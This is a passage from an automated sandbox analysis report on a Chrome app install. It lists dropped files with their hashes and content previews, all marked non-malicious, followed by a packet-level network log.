SSDEEP: 3072:I5vU7I6s2M9duIWFCbmYJ4tnFWdqpMad2vywhIp81QFv9F9nNsZgiDdOFlV/mZmc:I5vqFCb2p8Gx9FNNsZ9Dd/ceR

MD5: 1709B6F00A136241185161AA3DF46A06

SHA1: 33DA7D262FFED1A5C2D85B7390E9DBC830CBE494

SHA-256: 5721A4B3F8E09C869A629EFFD350B51C9D46F0AC136717D4DB6265C0EE6F9AC8

SHA-512: 26835B4C050F53AD2DDB84469DF9A84BBB2786A655AB52DFC20B54BEDCB81D1ECD789198D5B7D8B940242E5CEAC818A177444D402397AE82C203438C4B1D19
CB

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\craw_background.js

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\craw_window.js
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Preview: /*.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/.var b,k=k||{};k.scope={};k.createTemplateTagFirstArg=function(a){return a.raw=a};k.cre
ateTemplateTagFirstArgWithRaw=function(a,c){a.raw=c;return a};k.arrayIteratorImpl=function(a){var c=0;return function(){return c<a.length?{done:!1,value:a[c++]}:
{done:!0}}};k.arrayIterator=function(a){return{next:k.arrayIteratorImpl(a)}};k.makeIterator=function(a){var c="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.itera
tor];return c?c.call(a):k.arrayIterator(a)};.k.arrayFromIterator=function(a){for(var c,d=[];!(c=a.next()).done;)d.push(c.value);return d};k.arrayFromIterable=function(a){return 
a instanceof Array?a:k.arrayFromIterator(k.makeIterator(a))};k.ASSUME_ES5=!1;k.ASSUME_NO_NATIVE_MAP=!1;k.ASSUME_NO_NATIVE_SET=!1;k.SI
MPLE_FROUND_POLYFILL=!1;k.ISOLATE_POLYFILLS=!1;k.FORCE_POLYFILL_PROMISE=!1;k.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_RE
JECTION=!1;.k.objectCreate=k.ASSUME_ES5||"function"==typeof Object.cre

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 1741

Entropy (8bit): 4.912380256743454

Encrypted: false

SSDEEP: 24:LalZ74H+rMwJHwIodHRmxt3jiu1iu1RDpfeWlMl548wJHwDwCapt/VMYXj8Eq27K:Z+rMm71le88S1tWYXmrVZFH

MD5: 67BF9AABE17541852F9DDFF8245096CD

SHA1: A4AC74DD258E8E0689034FAA1B15A5C7C56DC3BB

SHA-256: 10DFBD2D98950B79EE12F6B8E3885AABE31543048DE56AD4FC0A5E34D0D9D4EC

SHA-512: 298FA132C6F122798FDB9BC6DE8024915147ADC20355B56A92F0ED9ACCE4549BE6E7F42212E07DCA166E31624D4E66E299565845D4BA1C51CA935050641B61FE

Malicious: false

Reputation: low

Preview: html, body {.  margin: 0;.  overflow: hidden;.}..webview {.  width: 100%;.  height: 100%;.  min-height: 100%;.  position: absolute;.}...craw_overlay {.  position: absolute;..  left
: 0;.  top: 0;.  right: 0;.  bottom: 0;..  background-color: white;..  -webkit-transition: opacity 250ms linear;..  display: -webkit-flex;.  -webkit-flex-direction: column;.  -webkit-
flex: 1 0%;.  -webkit-align-items: center;.  -webkit-justify-content: center;..  -webkit-app-region: drag;.}...craw_overlay img {.  margin: 16px;.}..#loading_overlay {.  opacity: 
1;.}..#offline_overlay {.  opacity: 0;.  display: none;.}..#offline_overlay > img {.  -webkit-filter: saturate(0%);.}..#offline_overlay > span {.  font-family: 'Open Sans', 'Deja Vu 
Sans', Arial, sans-serif;.  font-size: 15px;.  line-height: 21px;.  color: #8d8d8d;.  display: block;.}..#loading_splash {.  width: 128px;.  height: 128px;.}..#drag_overlay {.  
position: absolute;.  left: 0;.  top: 0;.  right: 0;.  bottom: 0;.  pointer-events: none;.  -webkit

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text

Category: dropped

Size (bytes): 810

Entropy (8bit): 4.723481385335562

Encrypted: false

SSDEEP: 12:hYenuEJIig5fRpvV4AEdN2sAAuzg/7RwQuLYpUH9KfRnQBGgZKy3QGgjPSWZDQL:hYeLJKTVNEuLAuzg/twQucpS9bj3

MD5: 34A839BC40DEBC746BBD181D9EF9310C

SHA1: 8B4EAA74D31EED5B0BABA3CA5460201F6B10DA46

SHA-256: BB8742615E4CD996AE5D0200E443AE6A6F0B473255F03AFFDB8FB4660DE4554D

SHA-512: EE81E5509CBC2CB2B6C834224688C1E1B1AA9AA3866C52F8EAED040D5C390653C52D8D681E2E2CF62906643962ABAC823D5B622385B983B21E0DCCAFDF281E
FF

Malicious: false

Reputation: low

Preview: <!DOCTYPE html>.<html>.  <head>.    <link href="/css/craw_window.css" rel="stylesheet">.    <script src="/craw_window.js"></script>.  </head>.  <body>.    <webview>
</webview>.    <div class="craw_overlay" id="loading_overlay">.      <img src="/images/icon_128.png" />.      <img src="/images/flapper.gif" />.    </div>.    <div cl
ass="craw_overlay" id="offline_overlay">.      <img src="/images/icon_128.png" />.      <span id="app_unavailable"></span>.      <span id="connect_to_network"><
/span>.    </div>.    <div id="drag_overlay"></div>.    <div id="top_bar">.      <div id='close_button'>.        <img src='/images/topbar_floating_button_close.png'/>.      
</div>.      <div id='maximize_button'>.        <img src='/images/topbar_floating_button_maximize.png'/>.      </div>.    </div>.  </body>.</html>.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: GIF image data, version 89a, 30 x 30

Category: dropped

Size (bytes): 70364

Entropy (8bit): 7.119902236613185

Encrypted: false

SSDEEP: 768:g5TXOSBAqNIPmA8NcjCWdM0VFMJEwavTeElfWupav5TXg7wV+irIPny9MTVQHydi:g5KSmiIPmAhZWiMsDfWug7DmqM6HybkF

MD5: 398ABB308EEBC355DA70BCE907B22E29

SHA1: CFFB77B8A1724B8F81D98C6D6AD0071D10162252

SHA-256: 2B73533F47A99FFEA9CC405FFAFA9C4C53623F62487AEBFBA415945120B22040

SHA-512: FC7A56FC8A61A582161874B54ADBAD30A84840190008EDB0B6FBF84F91393CA58E988E3FE446F11A0C3C691C18249B93AEC2904B3D0C4F0857D79034F662385A

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\css\craw_window.css

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\html\craw_window.html

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\flapper.gif

Copyright Joe Security LLC 2022 Page 37 of 79



Preview: GIF89a.......................................................!.......!..NETSCAPE2.0.....,.............9.:.h0.bT(6.!l.&..("g*k..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g|]$ueW.Ny
Q.IoL!AoF#9h>7.0t..%..,.@.m4..7..!.......,.............9.:.h0.bT(6.!l.&..("g*k..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g|]$ueW.NyQ.IoL!AoF#9h>7.0t..%..,.@.m
4..7..!.......,............................................................................................................'..w=.....\.)._6.k..OF...n.#\~"....2b3..I.)..eu.Q.`.e......gr.?>.s.I0.....@.~.Tr.[8.+.,.;..EE....S.*f.....,
.....B8/D..;.9.q......ukC...r.I.....j......BGY...o2J....+O4....X4.....cH%7....I.....0H!.!.....!.,...............................................................................................................................................
..............................................................p8.a$....hh@.4....X,A.0L..(....JX.j...,..........z.X.Q....jB.d....B..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 4364

Entropy (8bit): 7.915848007375225

Encrypted: false

SSDEEP: 96:YjlLDJjTvXUtNvX8dgb9HT6y8nviyHG5iCRYtIP:YtNTfUzvX8KM+MGRsIP

MD5: 4DBC9F9E6F5A08D299BAC9E54DF07694

SHA1: BB38F5DE34B1E0BE1109220BA55271087A4D9EA5

SHA-256: 91C2718DD23B4356D71F88F6146868369033291086DF327534546DFA459BEB0E

SHA-512: A5F2B1F47502836130D8083F757B7773C1E1CB36B76AD298CC29AB2B428C8002D2F15BD839838FC326DAC3681C2F48AB25A3E7631D33726C4B25E8EC14170912

Malicious: false

Reputation: low

Preview: .PNG........IHDR..............>a.....IDATx..yp.....gF#.:,[H.l.l..8...`/.k....,!a7Km...E...Te..T.....J...p....%.(....+...3....eY.e...L.o...5....h4...\....{?....~.u.`0.....`0.....`0.....`.Y......[(.......).4....a
i..w38.+....Bf././..]...{......8...3.....3W~OJ.. /...u6V.C..U.0.+._=.c..9.X.?....L....S@.L...m.0..>.C...L|TF.p5..f4M.,.V....8..a.<...RP..@)E,..E"...h.....!...-....,I..T..........m..._[[{w{{....
{*.^......M.x..h4.h.....\.R.E....j).7.....h4.A.E....,. ...iii.Vj?2...=/.B.FK9P..@)=Rj..D".Y...2.B..x.}0...&J...2.......f.O..e.H.....!.J)'I..R....B............QJ;K..L...L.l".L~mhh.R.@).FFF
~.L&...~.B.......u.........}.....~.....f..yUU...........^M...6......].,w.e..~.!$.C.R.....E(%e9.,....k..@...W8.........@...........O..@%.~..@.S..P.....`Tp...."...?ME..c......s...`..S1...7.b..
aNE..k...3.yP.}.Ch.}......B..........IPE..C.<....T....k......Z..o_......g........P..A=y.J.)h..@.q.-.*].AU.4...F.M.....y%B]+ .\.~..9......:..=...r.....E].o...F..P........i...|....

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 558

Entropy (8bit): 7.505638146035601

Encrypted: false

SSDEEP: 12:6v/7vyVgSKYsfFzXxXsrPfA+b0YX+5IOUWCQKznuow7:6yVnKYsfFzhXsrIq0YXmgQGn6

MD5: FB9C46EA81AD3E456D90D58697C12C06

SHA1: 5FC450F7D73CCFAC8F0D818CB3392BA4D91B69DE

SHA-256: 016CA659BA080E194FBFC0929602B16506ED60AA6019FAA51410C4FD93B583E8

SHA-512: ADD810EE9EB7CAEC505B5FD90A1F184CE39D8F8C689DCC240F188FE353B9575489492E07D572A3B1C11A1555CE66AFCA5134903E4C1AA3D54BC7C5ED3E65B
50C

Malicious: false

Reputation: low

Preview: .PNG........IHDR................a....IDAT8...Mk.Q...;... .....F..QW.....F....J.?.w..7~......'.Q..B]... .QS...M&_w..b&.|`......p...f.?.D$.y^..........y*...\..Z..t6..oRj.@&.u..G.qN).t.-V*.>(.N
.Ep]wFk.60o.]0.`Y..cT..Y.Tb.`DF.d..s.Z..E..9.4._C.._...%..*.^....4.l...Y..X..R..../...Wj+w0[.].._B.k.${.\.>.%...........lz .w.ALxo.2;..a...".p..S..&..uXS...<..6..[..zD.._.N+w.WbM7y
e6X<...'(,=.r}........$f..5..P....k..."..8.s.<zgSm@.....).Y.....:e..|.....F...I..A$.....T?.....m....8.........N...z.....V..vd.h'....C.?.....H.;]..C.M.....9.b......IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 160

Entropy (8bit): 5.475799237015411

Encrypted: false

SSDEEP: 3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/RPJDmV7bScsP4a9zln94FptVp:6v/lhPKM4nDspnAkZJNmgPdln2TTp

MD5: 8803665A6328D23CC1014A7B0E9BE295

SHA1: 9DA6EE729D5A6E9F30658B8EC954710F107A641F

SHA-256: D5F9234DC36E7FFA85F35B2359A4F82276F8395EFA76E4553507EA990B27FC6C

SHA-512: ECD9E71B8BA1ED8BD4CA5A0936CB66A83611C4ABCBDA76C250F4CDF4AD80320212E8F5EEB79A38910718F8346ECC1AD580A3FA835EC2B22BE497F36899FB5
930

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...Q..0......2...(p...~Z.}'.>I%O...V!s..................../...`.<..`.....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\icon_128.png

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\icon_16.png

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button.png
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 252

Entropy (8bit): 6.512071394066515

Encrypted: false

SSDEEP: 6:6v/lhPKM4nDsp7q1hKVlomsj9rxKNgtmN0VZ+GFYep:6v/7iMXVq1ylxemNgtmKVnYM

MD5: 0599DFD9107C7647F27E69331B0A7D75

SHA1: 3198C0A5F34DB67F91A0035DBC297354CBC95525

SHA-256: 131817CD9311C03DF22D769DD2AD7FA2E6E9558863A89F7E5E1657424031A937

SHA-512: 0076ACB9D6A886BD987876E49495038F9388B292A9EFE5C9093CCA64CA3692E3A5D24E35172C7697F6AAE34B86CA217EE59C003423E46D9499BD27EC7D77A649

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx...... ..Pp.X....H...b@...|.^LC_.E.BP+......X.P..........q..~..p/. ..s.....%D^...$......@.!...<...).?
.4{.k.G3...4..[cH..0..l.8.!r..m.R..{..........`.f...#.x.....IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 160

Entropy (8bit): 5.423186859407619

Encrypted: false

SSDEEP: 3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/9lVtEHxrPLyN+ltNPhv/l2up:6v/lhPKM4nDspnAkZHVtERrPLygltNPn

MD5: 7CB6B9DC1A30F63B8BD976924B75AD96

SHA1: 0C40B0C496D2F2B5F2021C117EC8610AC03AB469

SHA-256: 721B7AAA9A42A54A349881615A12E3A26983ACA48E173FD2F66E66AA0D725735

SHA-512: 4764937364E355956B242B84010AC56102536D2AACBE4227F0E88E4DE7AB468571957EA6C33012539156E5349AE4F777115615AE3361F60ADDF9CD227424F76A

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B.z.s...*.....$.<u..[...................h.......C.CA).....IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 166

Entropy (8bit): 5.8155898293424775

Encrypted: false

SSDEEP: 3:yionv//thPl3xWrA4RthwkBDsTBZttd//HmnFz1P/ZjXlUTqyCIc30ItK1p:6v/lhPKM4nDsptF/HOP/ZjXlUeyCo/p

MD5: 232CE72808B60CBE0F4FA788A76523DF

SHA1: 721A9C98C835D2CD734153BBE07833C6637ECD68

SHA-256: AFA4EA944CBDEC8543242E627EF46D5BFD3766DCAC664E7E50CDEEF2B352740C

SHA-512: 4048EEA5A78DD569521C488C4CE4F7B77AC0454C92EE9107A81A1B3AF91A4EE036039AC1A0A6B8DD26B12E7F1595DB80B7FAA7B6A25D9032BF385528A81A86
54

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...HIDATx......0.CQS.......~..."..........m.v+Sq....<!...M8m...'...@$..0....E........IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 160

Entropy (8bit): 5.46068685940762

Encrypted: false

SSDEEP: 3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/9lVtEXIyN+ltN1/lsg1p:6v/lhPKM4nDspnAkZHVtEZgltN1eup

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button_close.png

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button_hover.png

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button_maximize.png

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button_pressed.png
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MD5: E0862317407F2D54C85E12945799413B

SHA1: FA557F8F761A04C41C9A4BA81994E43C6C275DBB

SHA-256: 5C10CE0589EB115600F77381130B70AE0B7B3752614D86D4C89E857658AA222B

SHA-512: 07CB69327961FD0019BEF8EF7590B5524905AC373A815F73F6D9E0B26840929F919A96CAA977D4B5656704DACD0F352D568FB3997F80EE6BB94C95B58839DBFE

Malicious: false

Reputation: low

Preview: .PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B..@wu...*.....$.<u..[...................h.........M..x(....IEND.B`.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1322

Entropy (8bit): 5.449026004350873

Encrypted: false

SSDEEP: 24:1HEis7ViC/yox/fiqeUoLFlmF1s80FKrGfd0d3NZNZx1Fq7eY7nfj1B:WL7V2opiV1mvs8rxTZRczhB

MD5: 01334FB9D092AF2AA46C4185E405C627

SHA1: 47AD3C0E82362FFE5B881DF8D71D6F79AB7F5796

SHA-256: F52714812D68C577A445169D11E84DF6751C2D6886BC429643072BB5D61C6C27

SHA-512: 888D96ADB7A847ABE472145258C8C46950EB2FA3BA7D596C2E90A17C8FB06FD0155C56CC8ABA5D076D89368417464BCB2D236F9E40E53241950A01F9F8ED548
F

Malicious: false

Reputation: low

Preview: {..   "app": {..      "background": {..         "scripts": [ "craw_background.js" ]..      }..   },..   "default_locale": "en",..   "description": "__MSG_APP_DESCRIPTION__",..   "d
isplay_in_launcher": false,..   "display_in_new_tab_page": false,..   "icons": {..      "128": "images/icon_128.png",..      "16": "images/icon_16.png"..   },..   "key": 
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrKfMnLqViEyokd1wk57FxJtW2XXpGXzIHBzv9vQI/01UsuP0IV5/lj0wx7zJ/xcibUgDeIxobvv9XD+zO1MdjMWuqJ
FcKuSS4Suqkje6u+pMrTSGOSHq1bmBVh0kpToN8YoJs/P/yrRd7FEtAXTaFTGxQL4C385MeXSjaQfiRiQIDAQAB",..   "manifest_version": 2,..   "minimum_chrome_ver
sion": "29",..   "name": "__MSG_APP_NAME__",..   "oauth2": {..      "auto_approve": true,..      "client_id": "203784468217.apps.googleusercontent.com",..      "scopes": [ 
"https://www.googleapis.com/auth/sierra", "https://www.googleapis.com/auth/sierrasandbox", "https://www.googleapis.com/auth/chromewebstore", "https://www.goog
leapis.com/auth/chromewebstore.readonly" ]..   },.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit): 7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL

MD5: 541F52E24FE1EF9F8E12377A6CCAE0C0

SHA1: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

Reputation: low

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

⊘ No static file info

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\manifest.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\a064512f-d671-49c6-95f2-8cc5baade69e.tmp

Static File Info

Network Behavior
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Total Packets: 74

• 53 (DNS)

• 80 (HTTP)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Jul 1, 2022 19:36:47.213449001 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.213505030 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.213661909 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.214323044 CEST 49719 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.214379072 CEST 443 49719 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.214459896 CEST 49719 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.215358973 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.215409040 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.216022968 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.216063023 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.216146946 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.216300964 CEST 49719 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.216335058 CEST 443 49719 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.216598034 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.216633081 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.225791931 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.225831032 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.225918055 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.226116896 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.226140022 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.276688099 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.284410000 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.291645050 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.291704893 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.291908026 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.291950941 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.292273045 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.292365074 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.293026924 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.293127060 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.293392897 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.293478966 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.493400097 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.493614912 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.493760109 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.493933916 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.493988991 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.494035959 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.494091988 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.494118929 CEST 443 49717 142.250.185.142 192.168.2.3

Network Port Distribution

TCP Packets
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Jul 1, 2022 19:36:47.524743080 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.524849892 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.524889946 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.524945974 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.525027037 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.527450085 CEST 49717 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:47.527472973 CEST 443 49717 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:47.538497925 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.546916008 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.547121048 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.547218084 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.548535109 CEST 49721 443 192.168.2.3 172.217.16.205

Jul 1, 2022 19:36:47.548563004 CEST 443 49721 172.217.16.205 192.168.2.3

Jul 1, 2022 19:36:47.555594921 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.555910110 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.555948019 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.557507038 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.557611942 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.559253931 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.559365988 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.559638023 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.559664965 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.600522041 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.638500929 CEST 443 49719 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.638849974 CEST 49719 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.638896942 CEST 443 49719 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.641653061 CEST 443 49719 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.641772985 CEST 49719 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.642267942 CEST 49719 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.642433882 CEST 443 49719 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.667783022 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.667913914 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.667999029 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.670984030 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.671006918 CEST 443 49720 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.671019077 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.671072960 CEST 49720 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.684509039 CEST 49719 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.684551954 CEST 443 49719 167.89.115.54 192.168.2.3

Jul 1, 2022 19:36:47.714970112 CEST 49729 80 192.168.2.3 145.40.97.98

Jul 1, 2022 19:36:47.724504948 CEST 49719 443 192.168.2.3 167.89.115.54

Jul 1, 2022 19:36:47.741218090 CEST 80 49729 145.40.97.98 192.168.2.3

Jul 1, 2022 19:36:47.741307020 CEST 49729 80 192.168.2.3 145.40.97.98

Jul 1, 2022 19:36:47.742677927 CEST 49729 80 192.168.2.3 145.40.97.98

Jul 1, 2022 19:36:47.768801928 CEST 80 49729 145.40.97.98 192.168.2.3

Jul 1, 2022 19:36:47.768855095 CEST 80 49729 145.40.97.98 192.168.2.3

Jul 1, 2022 19:36:47.772783995 CEST 49730 443 192.168.2.3 145.40.97.98

Jul 1, 2022 19:36:47.772823095 CEST 443 49730 145.40.97.98 192.168.2.3

Jul 1, 2022 19:36:47.772906065 CEST 49730 443 192.168.2.3 145.40.97.98

Jul 1, 2022 19:36:47.773113012 CEST 49730 443 192.168.2.3 145.40.97.98

Jul 1, 2022 19:36:47.773128033 CEST 443 49730 145.40.97.98 192.168.2.3

Jul 1, 2022 19:36:47.838536978 CEST 49729 80 192.168.2.3 145.40.97.98

Jul 1, 2022 19:36:47.874027967 CEST 443 49730 145.40.97.98 192.168.2.3

